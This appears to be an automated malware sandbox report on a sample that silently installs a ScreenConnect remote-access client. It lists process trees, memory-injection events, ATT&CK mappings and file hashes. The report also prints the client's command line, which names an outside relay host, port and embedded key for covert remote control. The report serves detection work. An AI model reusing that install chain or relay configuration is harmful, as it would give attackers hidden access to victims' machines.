Token: SeManageVolumePrivilege	3900	msiexec.exe
Token: SeImpersonatePrivilege	3900	msiexec.exe
Token: SeCreateGlobalPrivilege	3900	msiexec.exe
Token: SeCreateTokenPrivilege	3900	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3900	msiexec.exe

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
3900	msiexec.exe
3900	msiexec.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 9 IoCs

pid	Process
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe
1028	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 820 wrote to memory of 3900	820	2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe	84
PID 4936 wrote to memory of 3812	4936	msiexec.exe	87
PID 3812 wrote to memory of 2192	3812	MsiExec.exe	88
PID 4936 wrote to memory of 4284	4936	msiexec.exe	92
PID 4936 wrote to memory of 684	4936	msiexec.exe	94
PID 4936 wrote to memory of 2164	4936	msiexec.exe	95
PID 4008 wrote to memory of 1028	4008	ScreenConnect.ClientService.exe	100

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:820
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.9.5.9483\f019ead39d18b18b\ScreenConnect.ClientSetup.msi"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3900

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9EBD211F323419B549A174BA11185B28 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI818F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240681578 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2192
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4284
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D92B97F6F8CA07DB269E437327D1CC7A
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:684
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 53A3A4AEB8977E5BCBB6564C80D3E7BC E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2164

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:3852

C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=help.overthewire.com.au&p=8041&s=7754212d-5068-4ae0-961d-1fd8288fde28&k=BgIAAACkAABSU0ExAAgAABEAAADHIkW%2b3HkPDSP8U77odETO2Oa6bry95zbwMkerRF0eoHnNKAHT78QsJ6B%2f%2bZOVRdNRgQC8gdviJB8iW05rbTmlpwsLrK0H7JTi4N06Q%2bplY1t8EQl2h5J%2bMfufP1lbQqdDbMiPPE4T2%2bvG8b8sNhs4C3VvoCE98u6otcwd75fFoqbrbve62s5RH%2fIKMon8mLiGGGAFiFB%2bu9kaGWjGNwT%2bzyF%2fZIcT2W6Y97Tk8Dv4OxH%2bft4BZRxwWC7aFkO80aDkr5Sw2B3pPgEI7pLLwBbthQ2faO%2f2DvGYw1a5MePu4r1LEs%2bl24Lj5MNhS0o6EXzdIMN8pM00PBIW87tYXT%2bY&c=Test&c=Head%20Office&c=Managed%20Services&c=Clients&c=&c=&c=&c="
1⤵
- Sets service image path in registry
- Drops file in System32 directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe" "RunRole" "042bafa9-b5dc-49cf-a612-38d675d1d4be" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1028

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58c530.rbs

Path C:\Config.Msi\e58c530.rbs
Size 213KB
SHA256 fd142bcb1cc6aa14080829628a4e5ceb69dddace2e5079bd379f116a583f3aa2
MD5 9fe0c48fbb5a384e514e8edd69fe4f83
SHA1 67568f5aa7f978e21d2a080c3e069096642e40cf
SHA512 144d6515192482db0d07c5b04afa25fb90078bbe1a300747234de05f8e6b0002cd25e187a20e4c438b64874686087ec287cdb1893ca8b661fdad910879b395f7
SSDEEP 3072:tq9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGn:tquH2aCGw1ST1wQLdqvn
TLSH
T1B3248C227490907EE7F91A32D93E9671BE7DF6240760C59EC3888C1E9D604C06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.Override.en-US.resources
Size 512B
SHA256 dc676d7ca90452302e19ac1122a6f98c4feb19acdfb5c8f5d6fdbbab6f43bbfa
MD5 d2cf25d1de608dff6a52a22ab73e9819
SHA1 ef878664a1648dd80afcb3bd7bcc9ec1d45c8806
SHA512 4d775fe3b83a87327c7244c4cda60221851dbd3fef892ec3649c21503932222c02d4dcb4d15f58fa05a86e0ab02c5925bda2e667860fdd531773d248438f70de
TLSH
T182F07D2A639C3235D0E21BBF249630C5163FF91FC338906D68A8511C4BB260FDF82B22
MD5 SHA1 SHA512 TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.en-US.resources
Size 64KB
SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
MD5 92232708774febf9a4a464bbeda36215
SHA1 521d4e630f5e00977bbca7cd17dd0d22dbe1ca9e
SHA512 59442cbc57604f0dd170bb4f86f0e2b6c96408daf67250e6f40e00d034033b6871502cd83df0267f4628c3a035f191d56f26bf1927e691b5330524eb810852f2
SSDEEP 1536:5fkiK2FoQ67wwLFSj7Be3sZvU/7UFN+9nwLLChTKN1ljpneMarA:5fkiK2FoQ6jFSj7Be3sZvU/7UFN+9nwS
TLSH
T1A8532E1277FD0A58F5F36F35BE7A94619937BC5A2E25C06E1028815E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.resources
Size 6KB
SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
MD5 1e863134f29bcabe1ee571c91ac4fbe6
SHA1 57cc5966fcae49019da5f8f507c840cedfc103f4
SHA512 7e2640c4ddb8719230de0ddb0d18f9a4b1499a037247f12b142b1c16a2a989390abcb5ac7816a63dbce2d43c08510cec7cfc87cd24458bc2fa919c396b36d4f9
SSDEEP 192:rpDZHfbkqYvZJG293IIs1Z4EO/nM3ZWYijpo2YG:rRZjkqYxJ3JI/sMJ/ijp/p
TLSH
T1D8D13BC49BFEAC3CF05E51BE3A7692990275FF113AA3C3582460106A7F228856C56737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Client.dll
Size 399KB
SHA256 c24f3f38cbad5591ca72bd3688b3bcc67b311143e3418905752a88887c649c12
MD5 73f5f4033295f0cb4fe0347f677f7ba6
SHA1 c1fe83c93d7c3ed97a8405a2c75317dd4c80eead
SHA512 5e68abf0345490829f3e43174a72d1e043a89c94d07adf5a26e367aaa45ae57ec0d51e7a8ef3c2f116ca153eb0ae1952ce922f4fd980d8fa7a247293a47b61e0
SSDEEP 6144:oMq4l+PvJNOZvD8ETEavHy+vd7JPYIYyqQni65/PGM:/5+25DHTEavSW7OQni3M
TLSH
T13694BF86B3A44C6DFB6F0A77F45041299E73AC456552F26D4E04B8F90AB3BD28740BE3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.dll
Size 78KB
SHA256 881377643cc610e41a458b2797ac8ca4f018d3f39a1effd40b521ebb52c5e7af
MD5 4ec378ab38ad1512899de74ed30da605
SHA1 06324f0f48c51d97fca0222d3ab2a9f1a84561b9
SHA512 1dd6e2967f44dcc5354abf5c12ace9204df1b6dc6072dd901301677861cd48e62cfb543647059d0a2c698ac6a01cf73d52c53c37e28afe0fd78fb29dfa2ecd7f
SSDEEP 1536:z7xQmiDHn5f2yoI4vn3R0asV7k/QQV3lTwmkbP5Ck7l:z7xQmKH5eygf3R0T0QQVFwzCkJ
TLSH
T118734C81A3AC5E26C9DF4F387465B0450F709A02D4A3FBDD9D8EA4EA1B563C12E043DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 ecd5ed16975d556d1d17bc980f248f8a5262bed11df9d9cf999efd9c273c11df
MD5 fcb58cddda40825616c70c93b312a79a
SHA1 94acd6b46cce2a0b84cc5efad3e661eeaa58a612
SHA512 6f49c9bcb3e0fd81516996b2dfa805e373577d33a5313bb5df209d2ff845e68dc569297b10408d15eb506790f1b588c96ed030efb7ea3a57ec7c5b010a3d4748
SSDEEP 1536:gg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgcrU0HMX7dFo:JhbNDxZGXfdHrX7rAc6myJkgcrU0He7o
TLSH
T1C6935A13B5C28872D573093158E0DAB09A7FF9615E21DEAB3788022E4F741C1AE75EB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Core.dll
Size 553KB
SHA256 5989cf8b316fa8526b48e53e3835c61eb5cc5d2b0291994991ddfc937198d5b0
MD5 e52649b9a13b5490f05f8f489cd455d0
SHA1 1662f6394366ca7c4c5c072ea0ce134474cc571d
SHA512 8a32f98a912bea8d6191e2f9a7261dda7fb57e0c7d9fb645b88ad328c37cff8b42d00907f2a903b5f9e489ab4db23bc1e72fef99c069848fa563196f88f4132d
SSDEEP 12288:L+IY2aqte5exGY7FwVzP/DVzeCXV8VNNveAppEtVbyXX/fvs3:50QdxKAg+/fU3
TLSH
T18EC46C5233D88B36C5AF0B3AE860D6151B71E904B01AE75B29DEE4E91E837455E0C3FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 cea1d85967d2c456fccecae3a70ff2adfe4c113aacf9d18c35906c2ed24ca9b4
MD5 cdc55f204dd2d7e2240d5b785250e68d
SHA1 19e1234a94f0445e8fdb9ae0f75554292db48c1c
SHA512 8db2842b8ecb7508604da882632a98580f849a266431f417d740acfdac4f0eb19bec6ee80b4f99af3152feab49f952dfa29f00ce0eb33e25ddbf6f53b3a5fcdd
SSDEEP 24576:15psFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTp:bpsJkGYYpT0+TFiH7efPk
TLSH
T1D085AD41E2C365F5D46B047888BF572AAA743C080325CAFB97D4BE356D33BC09A36796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe
Size 604KB
SHA256 7cd74f5e0fb8b9cdf3275a03ac29f25c88a2adea7afa1a1a0e719a54be9d9e2b
MD5 f4f235efd9873261762b4d940972d756
SHA1 9a329c0692f3159113ebbd5daab0e11647415bce
SHA512 68adf767d82b243e171fafc6675f41fd907d6374393e9067f26ac854cc3af3936c5be2b30257d4bab079d63efb01409f2ec82d43d3a9ccca3524e1e2e803db37
SSDEEP 12288:6yZ/agpEXLJSHIUf8QpnsdW4B1bjQchpiF9zi9mMd:7SXLglsdWS1tpQ2oMd
TLSH
T19CD46BA177FC9A3BC8EF0779B0E1142757B0E845B686E78E4904A4D90EC73916E483E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\system.config
Size 957B
SHA256 8fc14ec3b4a64d54689654b1064e0f54f104cc922734077b727549a4ce656fa1
MD5 ff56d70d181b18afd7b535767710a4b2
SHA1 6d1966bc8a6c68121946007a9b9e94a82cc0d3ab
SHA512 932bb0c97beae6e357d705120f1165a9c2159316631820d4a9610166fac5480018496325e0e2f0dd6875aba66101312fbd355f0965ccabb6a75998e1106b338a
TLSH
T12611485030807E9647B74E12CA214744E5F21A56165510D4B9FF9326EF3054E07F35DE
MD5 SHA1 SHA512 TLSH

Submit Download

698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB
Size 471B
SHA256 daae5cd62ac8d9e32baed178e39df1e0827d9a45e31276f65f6b75f122e24b65
MD5 819e2fdd59353a50783d149715a1bd33
SHA1 f8a5cc907344d6e243d0804e3610b6ddcd625653
SHA512 fa7a1adb1004de16f7860ef164f294da35c5f390abdd4ec99c5c1cfda1cd5d6f39a6500d35d28600d0a04c41440539adc7845f5a1e4130ddebd64c652aa57ca8
TLSH
T1DBF0DCAB29B66C9118079C6C3FF198BA22917ACD04CD917E603A1184C7D92E0960F806
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0
Size 727B
SHA256 1fe4a4168e8c2c610789633ec7aa43cc58293909d10992dc7f2552e1333cf714
MD5 5fd2d8812c787d1c27db6b5e87f6d45b
SHA1 c655045653f2be1295825fd6fb042b5c570d2da7
SHA512 366ab4f121326a37aaaa71d1c9819e1116cd30b34e829a1a6cf1cff97fc92379bcb2b955bcf0ef3a90fc31ec865da31adcddc047fd6ff4c646b3e99cf1ee111c
TLSH
T11D01940EE89487446033C85886C0DCA630EADF6067E4681FFDBE04CFB40CF09AE86E40
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 727B
SHA256 189f9064ba35be184d1b643aca3371a2bb4e8fd952a2c040d7fa58746ffcb8d1
MD5 7782ba8b180d5fe6a112d4ecea57e715
SHA1 632334cb0ed40e01aa4f635d45be7260ac17c62e
SHA512 033167a647109e2d6251d42344d0b4e03dcb29fd416a4537761a07c8daac43cc5c3a88663e7cfc9297dc6f585c7a95f25df3902804034029b24b8b130637c191
TLSH
T19701D05A2DAC7F817C120F296CCC40E174BE82C102C4279B6125B5C671B86B4DDA2851
MD5 SHA1 SHA512 TLSH

Submit Download

698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB
Size 400B
SHA256 8d5d5849f6f3d4636b537ca08dbfe701c09ead22fb0f5ad773750653e820db50
MD5 c61d190b5b588e78eefd522e96656629
SHA1 5f3269272ae112735c6be07f5aac06eee6e8072b
SHA512 73522f1afd515fb313d1a5f01668b47b34edec4a90ba2bc304db7870ccdd742923f45d71195d0e4c5a0a89d03865a27eee73083726d5defb5d6f8508157d0680
TLSH
T128E0202027FA102EF1B59B7843DBD1D9AF2AF1122C5456BE0995151D6906E108CA3C32
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0
Size 404B
SHA256 d1c1f1364231de567ef9d65f21f6018176894bea1e57b71e61414d3c9cd6b058
MD5 ebe2971d78dbd0f065bef391ae0967b0
SHA1 63e95008e356130963816383774731214c1417c6
SHA512 2d9f2a65551874d2d0353746367b598130089834ace252a9136bbdc146292e2d83d8008d11e53117e2674a8aaf4bbd14914330e36e2c28d73267c30826a8a5f4
TLSH
T1B9E0267422F54AADF1F9E47C46FA9D226DDEF34325A1836901902656AB50E408CE36A4
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 412B
SHA256 a1612b3afabbf00c4b3d891d71a5e985ec871796e15af0b335c9fdda0c692fbc
MD5 28fdfc8d18c6ea0eaf53a76cb82b1027
SHA1 26ff27f1f8add06bc7375a9db543c7ab524686d4
SHA512 76ac17ddfc8856f091b4d840e3c2872abf561348b34b5db1ae4fcee8fda53c163b6cf6e6b760809062e9802ea559a384a93f2d047f677185374d3e0ef3c26a6d
TLSH
T178E0C02816EFB05EF090DC3045FAF4790D4CF3111850C7B911C04308BB0AF005C119F4
MD5 SHA1 SHA512 TLSH

Submit Download

MSI818F.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSI818F.tmp
Size 1.1MB
SHA256 ba2f090929bcaea8ff9c1eed327cf0918fa06c88d64b77c7db8d2db3f92d39ec
MD5 24ce3b4b89cbd2917920d4750f0836f0
SHA1 9f69131e64b8ca593fdd125e13c0dd59f29932c2
SHA512 1141d79ef61a135b1edc77e7990a86a7f39ce18145782343d7ff8f03424ca7432f414ec87a85fc336a2ab1f0a783c09a80fb785566427695361dace62799f42b
SSDEEP 24576:PUUGGAlsK5AKceLVj/pKPuRn9827O7jMepGiUZFw:4GAlZQepj/pXRnSwO7Rp7UZFw
TLSH
T14335230237E0C479E1A37F316E31522106BE79B26672D2DE3B88943D5EB1B91A631377
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI818F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI818F.tmp-\ScreenConnect.Core.dll
Size 543KB
SHA256 637c730a28969b12f906109ab2d6670cdf230901eb9060f51c103d7ce37e3766
MD5 b6a18c19bb09fb084f0280fa7ac4a27c
SHA1 d0dd121fc155c3a8cb9db32f728c912ef234728c
SHA512 e993560aea4e62e2d3f35f826b53f51e79f66d6a1cccb8b63d0eb71aec25de1fda70893207ab506a581f5f2efc0a61f12565fa38eb538634283af1bebbf1f34f
SSDEEP 12288:C+IY2aqte5exGY7FwVzP/DVzeCXV8VNNveAppEtVbyXX/fv:K0QdxKAg+/f
TLSH
T135C46D5233D88B36C5AF0B3AE860D6151B70E904B01AE75B29DEE4E91E837455E0C7FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI818F.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 182633507629b0b1fecd2304c0b2f0fbfef79144e0a4f4f60da10150145ffe42
MD5 22e6c20d9c4051ac4e2ec91503d029b4
SHA1 d8f3b60e1cc4b921de4e2d440b7370dc0d3bda62
SHA512 361741ec6fdc853e222c05455c5d4cf0c3cfdc4b55055779fbcc623fcd37c4f966dfc94527cbffc7b237b36dcc8fb71795dad88bde5c215b003ddb15f48286fb
SSDEEP 192:A8/Qp6lCJuV3jQXtyVNamVNG1YZfCrMmbfHJ7kjvLebuLd9NEFbHtxd:d/cBJacXt2NaheUrMmb/FkjvLebuZSxd
TLSH
T13832D70077DC533AE8BE0F799AB362910B71FB64A011DF2E18CCA1569C767449EA07B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI818F.tmp-\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 368a99cda6a46e9907d4a1136edcebcc7c4b08905766ea8828839e20d1f12202
MD5 f2e6d57236f712db23b7fc4a59a5a643
SHA1 02cc64d4175e13c6309c3fe47cb60f625c40085a
SHA512 278519649029db4b0eb10e40c99ecf8645ae8648bd813adbec899b20ff70e2cbecc76c205807ed74b4e6b5f4859e422f34cd94353da269fb991f82527699112b
SSDEEP 24576:85psFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTM:GpsJkGYYpT0+TFiH7efP
TLSH
T18E85BD41E2C365F5D46B047888BF572AAA743C080325CAFB97D4BE396D33BC09A36756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientSetup.msi

Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.9.5.9483\f019ead39d18b18b\ScreenConnect.ClientSetup.msi
Size 8.8MB
SHA256 1e691cec0691e4e30583375cb2c9b93ae7e13183f2ce72c0408ce36fa5af7bd6
MD5 e919c7a39debaf0088cbe665d9d4c552
SHA1 e92577e0fb20c5ca6ee946d771a36128c58a088f
SHA512 bba7b128c75b78a7c33ff1f66dd453b5fa649069beaec0b2da7e2496e76a6ded9568605e5fa1e1a37c02134bffd96531e7098dfc77db73bafb937cb78739d76f
SSDEEP 196608:bQyiixtMj2Z1jhlrwUvQyiixtMjhQyiixtMjmQyiixtMjeQyiixtMj:kPnj2rrYPnjKPnjfPnj3Pnj
TLSH
T14696222067E98928F1B71B75EE7A55F14D39BC45EF23C01F4668795E2A30E8099B2333
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIC669.tmp

Path C:\Windows\Installer\MSIC669.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eoscfbmd.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\eoscfbmd.newcfg
Size 573B
SHA256 8668691cd3fd165cb9a9289fe3311b1ef4b280cd5d6e8b7742b756366d34afb6
MD5 66c336c39f0e6a0ceeeb4b19c9b4caf1
SHA1 d948502f5edc9d72dc1039f19759d6c2a462c58b
SHA512 b0cb1fcba800676c807416495325ca307f5317ee53ccde6e797d7822a0f0824898c58538077176ed705e13044f969d4360301009f2bc656ba8c02492f2c4ab92
TLSH
T1FCF024E930C4AE4A07B35E23C5128784EE716BDB1559109834AFA17BAF311EF07A31DA
MD5 SHA1 SHA512 TLSH

Submit Download

mlobptzp.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\mlobptzp.newcfg
Size 573B
SHA256 71deff53b05f3f22d9aa690dc09bbfbf30bc149caa8b07b76904257c1c72710c
MD5 2cb5711387eea4546f5d9c4651639e23
SHA1 133af4d187ce223fce1ba62973acdab1686026ba
SHA512 44e6b473addd54441b73a8361f61a2701aa5f15ca6955db1d5c74fb22a155f091d4002e2dda8cc47f33d0cfefeb7c27e99d783534b0f5bdfbb56a5ad45487ec0
TLSH
T1A9F02BE530C46E4A07731D23C5114784EE715BDB1555119874AF61379F311DF07A31DA
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
Size 573B
SHA256 5f5fea66c5d9787cc667c4968b1850c6a2bb8f3cde819510a7cca3beb2c2e564
MD5 46b09ec9d855ed22b45b517c6774d2f0
SHA1 66249bfaee52deb1346b14eb75b7ef5db2da0f1a
SHA512 4196abe8faf05fa1aa9c79ee87e3c1928837c6d7a63ff680ed830cd17f755a4877d381e2d8a2d055fc5d1cf993b34eb7b80b2b2805d7687cb1b3139939fe16ab
TLSH
T135F024E930C4AE8A07B31E23C5128784EE716BDB1559109874AF613BAF311EF07A31DA
MD5 SHA1 SHA512 TLSH

